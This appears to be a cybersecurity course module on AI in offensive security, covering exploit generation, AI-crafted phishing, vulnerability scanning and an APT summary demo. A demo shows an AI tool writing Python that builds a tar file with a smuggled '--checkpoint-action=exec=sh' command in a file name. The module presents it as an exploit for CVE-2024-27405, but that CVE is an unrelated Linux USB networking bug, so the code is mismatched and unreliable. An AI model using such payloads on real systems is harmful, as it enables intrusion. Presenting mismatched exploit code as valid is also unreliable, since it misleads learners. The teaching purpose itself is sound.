



2.3 ML/AI in Cybersecurity Offense

Overview

Today, you will delve into the critical role that artificial intelligence (AI) and machine learning (ML) play in cybersecurity offense. These advanced technologies are transforming the way we identify and address vulnerabilities in systems, making our defenses stronger and more proactive.

Class Objectives

By the end of the class, you will have covered the following concepts:

- Understand how AI is used in cybersecurity offense.
- Learn about specific AI/ML techniques for offensive security.
- Gain hands-on experience with AI tools used in cybersecurity offense.

Lab Environment

This class will use both [ChatGPT](#) and [WhiteRabbitNeo](#).

Note that the free version of `WhiteRabbitNeo` does limit the amount of searches that can be done in a 24 hour period to 25.

01. AI/ML Techniques for Cybersecurity Offense

Have you ever wondered how cybersecurity professionals stay ahead of cybercriminals? How do they find and fix vulnerabilities before they can be exploited?"

Today's class will explore the world of AI and machine learning (ML) in cybersecurity offense. Our focus will be on understanding how these advanced technologies are used to simulate cyber attacks and identify weaknesses in systems. This proactive approach is essential for strengthening defenses and staying one step ahead of potential threats.

Offensive security involves using AI/ML techniques to simulate cyber attacks and identify vulnerabilities in systems. This proactive approach helps in strengthening defenses by identifying weaknesses before malicious actors can exploit them.

Common applications include penetration testing and red teaming, where AI is increasingly used to automate and enhance these processes.

AI enables more efficient and comprehensive penetration testing. Red teaming benefits from AI's ability to simulate sophisticated attack scenarios.

AI/ML Techniques for Offensive Security

Automated exploit generation:

- AI systems can analyze software and automatically generate exploits for identified vulnerabilities. This technique significantly speeds up the process of finding and exploiting security flaws.
- Example: Using machine learning to discover and exploit buffer overflow vulnerabilities in applications.
- Automated exploit generation helps identify vulnerabilities quickly.

Phishing campaign automation:

- AI can craft and send phishing emails at scale, adapting based on recipient responses. This method increases the effectiveness and reach of phishing campaigns.
- Example: Utilizing natural language processing (NLP) to create convincing and personalized phishing emails that can trick even the most vigilant users.
- AI-driven phishing campaigns can adapt and improve over time.

Social engineering:

- AI tools can gather detailed information about targets from various sources to design highly effective social engineering attacks.
- Example: Scraping social media profiles using AI to craft personalized attack vectors that are more likely to succeed.
- Social engineering attacks become more sophisticated with AI's ability to gather and analyze personal information.

Examples of AI/ML Applications in Offensive Security

Penetration testing tools:

- AI-driven tools like automated vulnerability scanners that identify and exploit system weaknesses, providing a comprehensive security assessment.

Phishing simulation platforms:

- AI-powered platforms that simulate phishing attacks to train employees on recognizing and responding to phishing attempts. These platforms can adapt and personalize phishing attempts based on user interactions.

Advanced persistent threat (APT) simulations:

- AI tools that simulate APTs, testing organizational defenses against prolonged and sophisticated cyber attacks. These simulations help organizations understand and mitigate their vulnerabilities.
-

02. AI/ML for Automated Vulnerability Scanning

Automated vulnerability scanning using AI and machine learning (ML) are revolutionizing this crucial aspect of cybersecurity.

Understanding Automated Vulnerability Scanning

Automated vulnerability scanning involves using specialized tools to identify security vulnerabilities in systems, networks, and applications.

This process is critical for maintaining a robust security posture by continuously identifying and mitigating potential threats.

These scans detect a range of security issues, including:

- Unpatched software: Identifying software that hasn't been updated with the latest security patches.
- Misconfigurations: Finding incorrect or suboptimal configurations that could expose systems to attacks.
- Potential exploit points: Locating points within the system that could be exploited by attackers to gain unauthorized access or cause damage.

How AI/ML Enhances Vulnerability Scanning

AI/ML enhances vulnerability scanning by analyzing vast datasets to detect patterns and anomalies that may indicate vulnerabilities. This capability leads to more accurate detection and fewer false positives.

- Prioritization: AI can assess the potential impact and exploitability of identified vulnerabilities, helping organizations prioritize remediation efforts based on the severity and likelihood of exploitation.

- AI/ML improves the effectiveness of vulnerability scans, making them faster and more accurate.
- Prioritizing vulnerabilities helps focus efforts on the most critical issues, optimizing resource allocation for remediation.

Key AI/ML Techniques for Vulnerability Scanning

Pattern recognition:

- Identifies known vulnerabilities by matching patterns in code or configuration files against a database of known issues.
- Example: Detecting outdated software versions that are known to have security vulnerabilities.

Anomaly detection:

- Anomaly detection identifies unusual patterns that could indicate new or unknown vulnerabilities. This technique is crucial for discovering zero-day vulnerabilities that do not have known signatures.
- Example: Identifying unexpected network traffic patterns that may signify a security weakness or an ongoing attack.

Predictive analysis:

- Predictive analysis uses historical data to forecast potential future vulnerabilities and prioritize them based on their likelihood of being exploited.
- Example: Predicting which vulnerabilities are most likely to be targeted by attackers based on past attack trends and emerging threat intelligence.

Examples of AI/ML Applications in Vulnerability Scanning

Tenable.io and Rapid7 InsightVM:

- These tools are AI-driven vulnerability management tools that utilize machine learning to identify and prioritize vulnerabilities. They provide continuous monitoring and automated assessments to keep systems secure.
- Functionality: These tools analyze large amounts of data to detect vulnerabilities, prioritize them based on risk, and provide actionable insights for remediation.

Automated scanners with AI integration:

- These scanners use AI to continuously monitor and assess the security posture of an organization. They provide real-time vulnerability assessments and adapt to new threats by learning from past data.
- Example: Continuous monitoring tools that use AI to detect and respond to vulnerabilities as they emerge, ensuring that security measures are always up-to-date.

03. Demo: APT Threat Analysis

There are an ever growing number of cybercriminal groups as the technology becomes more commonplace. These groups, known as advanced persistent threats (APT), are identified by unique names to make it easier for cybersecurity professionals to identify and track.

Some names include:

- **Cozy Bear:** Also known as APT29, this group is believed to be linked to the Russian government. It's infamous for its stealthy espionage operations.
- **Fancy Bear:** Another Russian APT, Fancy Bear (APT28) is known for its aggressive cyberattacks and political espionage activities.
- **Charming Kitten:** An Iranian APT group, also known as APT35, that focuses on espionage and intelligence collection through elaborate social engineering tactics.

Understanding the tactics, techniques, and procedures of these groups is a critical skill for cybersecurity professionals, but the amount of information can be daunting.

- Open a browser and link to [Mitre Att&ck's page on APT 29](#).
- Note the Associated Group Descriptions.
- Note that over 10 different groups are affiliated with APT 29.
- Scroll through Campaigns and Techniques Used.
- Click on several of the links to see how much data is available on APT 29.

Many of these tactics will be discussed in later classes, but note how much detail is provided.

- Open ChatGPT and use the prompt `Summarize APT 29`.



APT 29, also known as "Cozy Bear," is a sophisticated cyber espionage group believed to be associated with the Russian government. This group has been active for several years and is known for its targeted attacks primarily against government, diplomatic, think-tank, healthcare, and energy organizations to gather intelligence. Some key characteristics of APT 29 include:

1. **Sophistication:** APT 29 uses a variety of advanced techniques, including spear-phishing, malware, and encrypted communication channels to avoid detection.
2. **Long-term Focus:** Unlike many groups that launch quick-hit attacks, APT 29 prefers long-term operations, maintaining a quiet presence in the infected networks to continuously gather data over extended periods.
3. **Adaptability:** The group frequently updates its TTPs (Tactics, Techniques, and Procedures) to include the latest exploits and to adapt to cybersecurity measures, showing a high degree of adaptability and learning.
4. **High-Profile Attacks:** APT 29 has been implicated in several high-profile cyber operations, including alleged interference in the 2016 US presidential election and various attacks on COVID-19 vaccine research facilities.

The focus on stealth and the use of sophisticated techniques make APT 29 a significant threat in the realm of cybersecurity, especially for entities holding sensitive political, diplomatic, or strategic intelligence.



Note how this simplified summary identifies critical information in a few paragraphs instead of the more detailed Mitre APT 29 Page.

04. Activity: Analyzing APTs with AI

[Activity File: Analyzing APTs with AI](#)

05. AI Techniques for Automated Exploit Generation

Understanding Exploit Generation

Exploit generation involves creating code or techniques designed to take advantage of vulnerabilities in software, systems, or networks. These exploits can be used by attackers to gain unauthorized access, execute arbitrary code, or cause damage to the system.

The primary goal of exploit generation is to demonstrate the potential impact of a vulnerability and to help security professionals understand how it can be mitigated. However, it can also be used maliciously to compromise systems.

Exploit generation is a critical aspect of cybersecurity that helps in both defensive and offensive strategies.

Understanding how exploits are generated allows security professionals to better defend against potential attacks.

How AI/ML Enhances Exploit Generation

AI/ML can automate the process of discovering vulnerabilities and generating exploits, making it significantly faster and more efficient than manual methods. This automation allows for a broader and more thorough analysis of potential security weaknesses.

Complex vulnerabilities: AI can identify complex and subtle vulnerabilities that might be missed by human analysts. By analyzing vast amounts of data and identifying patterns, AI can uncover vulnerabilities that are not immediately apparent.

AI/ML enhances exploit generation by increasing the speed and thoroughness of vulnerability discovery.

AI systems can detect intricate vulnerabilities, providing deeper insights into potential security issues.

Key AI/ML Techniques for Exploit Generation

Machine learning for vulnerability detection:

- Using machine learning models to identify potential vulnerabilities in code by analyzing patterns and characteristics associated with known vulnerabilities.
- Example: Training a machine learning model on a dataset of known vulnerabilities to identify similar issues in new code, enabling the detection of security flaws during the development process.

Automated exploit development:

- AI systems can generate exploits for identified vulnerabilities by analyzing the target environment and crafting appropriate exploit code.
- Example: Using reinforcement learning to optimize exploit code for maximum impact, allowing the system to learn the most effective ways to exploit a given vulnerability.

Fuzzing:

- Fuzzing is an automated testing technique that uses AI to input random or unexpected data into a system to find vulnerabilities. This method helps uncover security flaws by observing how the system handles abnormal inputs.
- Example: Using genetic algorithms to evolve inputs that cause software crashes or unexpected behavior, helping to identify and fix vulnerabilities before they can be exploited.

Examples of AI/ML Applications in Exploit Generation

AI-driven tools like OpenAI's GPT-4:

- Advanced AI models such as GPT-4 can generate exploit code based on descriptions of vulnerabilities. This capability allows for the quick creation of proof-of-concept exploits that demonstrate how a vulnerability can be exploited.
- Example: Providing GPT-4 with a detailed description of a buffer overflow vulnerability, and receiving a functional exploit code that takes advantage of that vulnerability.

AI-powered fuzzing tools:

- Fuzzing tools continuously test software for weaknesses using AI-driven fuzzing techniques. These tools generate reports on potential exploits, providing actionable insights for security professionals.
- Example: AI fuzzing tools that use machine learning to generate effective test cases, identifying vulnerabilities that traditional testing methods might miss, and producing detailed reports on how these vulnerabilities can be exploited.

06. Demo: AI/ML Tools for Exploit Generation

AI/ML tools can be used to not only analyze threats but to find ways to exploit them.

Click on the [Search CVE List](#) and open the page.

[CVE List](#)[CNAs](#)[WGs](#)[Board](#)[About](#)[News](#)[Search CVE List](#)[Downloads](#)[Data Feeds](#)[Update a CVE Record](#)[Request CVE IDs](#)

TOTAL CVE Records: 237725

NOTICE: Transition to the all-new CVE website at [WWW.CVE.ORG](https://www.cve.org) and CVE Record Format JSON are underway.**NOTICE:** Support for the legacy CVE download formats will end on June 30, 2024.
New CVE List download format is available now.[HOME](#) > [CVE LIST](#) > [SEARCH CVE LIST](#)

Search CVE List

You can search the CVE List for a [CVE Record](#) if the [CVE ID](#) is known. To search by keyword, use a specific term or multiple keywords separated by a space. Your results will be the relevant CVE Records. View the [search tips](#).

Attention: CVE Records now include product versions & more on the new [CVE.ORG](https://www.cve.org) website. Learn about the new and improved [CVE Record Format](#).

CVE, or common vulnerabilities and exposures, is a list of publicly disclosed computer security flaws. When someone refers to a CVE, they are talking about a specific entry in this security vulnerability database, which is managed by the MITRE Corporation under the oversight of the US National Cyber Security Division. Each entry or "CVE" is identified by a unique identifier, usually formatted as "CVE-YYYY-NNNNN."

The purpose of a CVE is to provide a standardized identifier for a specific security vulnerability. This standardization helps facilitate data exchange between various security tools and services and ensures that everyone is on the same page when discussing or referring to a particular security flaw.

CVEs are widely used in the cybersecurity industry by vendors, researchers, and IT professionals to quickly and accurately share information about vulnerabilities that have been found in software or hardware. This information can include details such as the nature of the vulnerability, the systems that are affected, and how critical the security flaw is, which helps in prioritizing remediation efforts. Additionally, CVEs are crucial for tracking vulnerability metrics and managing patches and updates to mitigate potential threats.

- Search for `Windows 11` and note the results identifying the most recent CVE (currently CVE-2024-27405).

[CVE List](#)[CNAs](#)[WGs](#)[Board](#)[About](#)[News](#)[Search CVE List](#)[Downloads](#)[Data Feeds](#)[Update a CVE Record](#)[Request CVE IDs](#)

TOTAL CVE Records: 237725

NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG and CVE Record Format JSON are underway.**NOTICE: Support for the legacy CVE download formats will end on June 30, 2024.
New CVE List download format is available now.**[HOME](#) > [CVE](#) > [SEARCH RESULTS](#)

Search Results

There are **122** CVE Records that match your search.

Name	Description
CVE-2024-27405	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: ncm: Avoid dropping datagrams of properly parsed NTBs It is observed sometimes when tethering is used over NCM with Windows 11 as host, at some instances, the gadget_giveback has one byte appended at the end of a proper NTB. When the NTB is parsed, unwrap call looks for any leftover bytes in SKB provided by u_ether and if there are any pending bytes, it treats them as a separate NTB and parses it. But in case the second NTB (as per unwrap call) is faulty/corrupt, all the datagrams that were parsed properly in the first NTB and saved in rx_list are dropped. Adding a few custom traces showing the following: [002] d..1 7828.532866: dwc3_gadget_giveback: ep1out: req 000000003868811a length 1025/16384 zsl ==> 0 [002] d..1 7828.532867: ncm_unwrap_ntb: ncm_unwrap_ntb: topocross: 1025 [002] d..1 7828.532867: ncm_unwrap_ntb: ncm_unwrap_ntb: ntl: 1751999342 [002] d..1 7828.532868: ncm_unwrap_ntb: K: ncm_unwrap_ntb seq: 0xce67 [002] d..1 7828.532868: ncm_unwrap_ntb: K: ncm_unwrap_ntb blk_len: 0x400 [002] d..1 7828.532868: ncm_unwrap_ntb: K: ncm_unwrap_ntb ndp_len: 0x10 [002] d..1 7828.532869: ncm_unwrap_ntb: K: Parsed NTB with 1 frames In this case, the giveback is of 1025 bytes and block length is 1024. The rest 1 byte (which is 0x00) won't be parsed resulting in drop of all datagrams in rx_list. Same is case with packets of size 2048: [002] d..1 7828.557948: dwc3_gadget_giveback: ep1out: req 0000000011df96e length 2049/16384 zsl ==> 0 [002] d..1 7828.557949: ncm_unwrap_ntb: ncm_unwrap_ntb: ntl: 1751999342 [002] d..1 7828.557950: ncm_unwrap_ntb: K: ncm_unwrap_ntb blk_len: 0x800 Lccroy shows one byte coming in extra confirming that the byte is coming in from PC: Transfer 2959 - Bytes Transferred(1025) Timestamp(18.524 843 590) - Transaction 8391 - Data(1025 bytes) Timestamp(18.524 843 590) --- Packet 4063861 Data(1024 bytes) Duration(2.117us) Idle(14.700ns) Timestamp(18.524 843 590) --- Packet 4063863 Data(1 byte) Duration(66.160ns) Time(282.000ns) Timestamp(18.524 845 722) According to Windows driver, no ZLP is needed if wBlockLength is non-zero, because the non-zero wBlockLength has already told the function side the size of transfer to be expected. However, there are in-market NCM devices that rely on ZLP as long as the wBlockLength is multiple of wMaxPacketSize. To deal with such devices, it pads an extra 0 at end so the transfer is no longer multiple of wMaxPacketSize.
CVE-2024-27405	In the Linux kernel, the following vulnerability has been resolved: powerpc/pseries/iommu: IOMMU table is not initialized for kdump over SR-IOV When kdump kernel tries to copy dump data over SR-IOV, LPAR panics due to NULL pointer exception: Kernel attempted to read user page (0) - exploit attempt? (uid: 0) BUG: Kernel NULL pointer dereference on read at 0x00000000 Faulting instruction address: 0xc000000020847ad4 Oops: Kernel access of bad area, sig: 11 [#1] LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=2048 NUMA pSeries Modules linked in: mix5_core(+) vmx_crypto pseries_wdt papr_scm libvndmm mixfw tps psample sunrpc fuse overlay squashfs loop CPU: 12 PID: 315 Comm: systemd-udevd Not tainted 6.4.0-Test102+ #12 Hardware name: IBM,9080-HEX POWER10 (raw) 0x800200 0xf0000006 of:IBM,FW1060.00 (NH1060_008) hv:phyp pSeries NIP: c000000020847ad4 LR: c00000002083b2dc CTR: 00000000006cd18c REGS: c000000029162ca0 TRAP: 0300 Not tainted (6.4.0-Test102+) MSR: 800000000280b033 <SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE> CR: 48288244 XER: 00000008 CFAR: c00000002083b2d8 DAR: 0000000000000000 DSISR: 40000000 IRQMASK: 1 ... NIP _find_next_zero_bit+0x24/0x110 LR bitmap_find_next_zero_area_off+0x5c/0xe0 Call Trace: dev_printk_emit+0x38/0x48 (unreliable) iommu_area_alloc+0xc4/0x180 iommu_range_alloc+0x1e8/0x580 iommu_alloc+0x60/0x130 iommu_alloc_coherent+0x158/0x2b0 dma_iommu_alloc_coherent+0x3c/0x50 dma_alloc_attrs+0x170/0x1f0 mbe_read_init+0x0/0x760 [mbe_core] mbe_function_entry+0x0/0x510 [mbe_core] mbe_init_area+0x84/0x210 [mbe_core] mbe_area_alloc+0x118/0x2d0 [mbe_core]

CVE reports are very detailed and hard to comprehend but AI can help cybersecurity professionals understand critical information.

- In ChatGPT, run the following prompt `Summarize CVE-2024-27405` and review the summary.

Sample Output:

CVE-2024-27405 is a security vulnerability identified in the Linux kernel, specifically affecting the USB gadget network control model (NCM). This flaw was noted to cause issues when tethering is used over NCM with Windows 11 as the host, potentially leading to the dropping of datagrams from properly parsed Network Transfer Blocks (NTBs). The problem occurs due to an extra byte being appended at the end of a properly received NTB, which can result in the dropping of all previously correctly parsed datagrams if the appended byte is corrupt.

The vulnerability has been resolved and is considered to have low severity, with a CVSS v3 base score of 3.3. This score reflects a scenario where the exploitation is of low complexity and requires local access, meaning it is not easily exploitable remotely and has minimal impact on confidentiality and integrity, but could lead to reduced availability.

For organizations using affected Linux distributions, patches and updated packages have been released to address this issue and mitigate any potential impacts from the vulnerability.

NOTE: While ChatGPT is good at summarizing CVEs, there are limitations to generating exploits. For this, you need a dedicated cybersecurity AI like WhiteRabbitNeo.

- Go to [WhiteRabbitNeo](#) and enter the prompt `Generate an exploit for CVE-2024-27405`.

Note that WhiteRabbitNeo will generate python code

Unset

```
import os
import tarfile

# Attacker controlled command to execute
cmd = "touch /tmp/exploit_successful"

# Create a malicious tar file
with tarfile.open("exploit.tar", "w") as tar:
    # Add a symlink to the /etc/passwd file
    symlink = tarfile.TarInfo("--checkpoint-action=exec=sh
{}".format(cmd))
    symlink.type = tarfile.SYMTYPE
    symlink.lnkname = "/etc/passwd"
    tar.addfile(symlink)

# Extract the malicious tar file
os.system("tar -xf exploit.tar")

# Check if the exploit succeeded
if os.path.exists("/tmp/exploit_successful"):
    print("Exploit successful!")
else:
    print("Exploit failed.")
```

And provide detailed instructions on how to execute the exploit.

This exploit creates a malicious tar file that contains a symlink pointing to the `/etc/passwd` file. When the tar file is extracted, the symlink is followed and the `--checkpoint-action=exec=sh {}` command is executed, which will execute the `cmd` variable, in this case, creating a `/tmp/exploit_successful` file.

To use this exploit, save it to a file, for example `exploit.py`, and then run it with `python exploit.py`. This will create the malicious tar file, extract it, and check if the exploit was successful by checking for the existence of `/tmp/exploit_successful`.

Please note that this exploit is a proof-of-concept and may not work on all systems or versions of `tar`. It is important to thoroughly test and validate the exploit on the target system before using it in a live attack.

NOTE: You are not expected to understand all of these concepts right now as they will be covered in the upcoming classes.

The purpose of this activity is to show how dedicated tools can be used to generate exploits automatically but understanding how the exploits work will be necessary to troubleshoot or implement in a live engagement.

07. Activity: Generating Exploits with AI

[Activity File: Generating Exploits in AI](#)

08. Summary

In this module, you explored the role of AI and ML in enhancing exploit generation. You started by understanding what exploit generation entails and its significance in cybersecurity. You then discussed how AI/ML enhances this process by automating vulnerability discovery and generating exploits more efficiently. You delved into key techniques such as machine learning for vulnerability detection, automated exploit development, and fuzzing, each contributing uniquely to the field.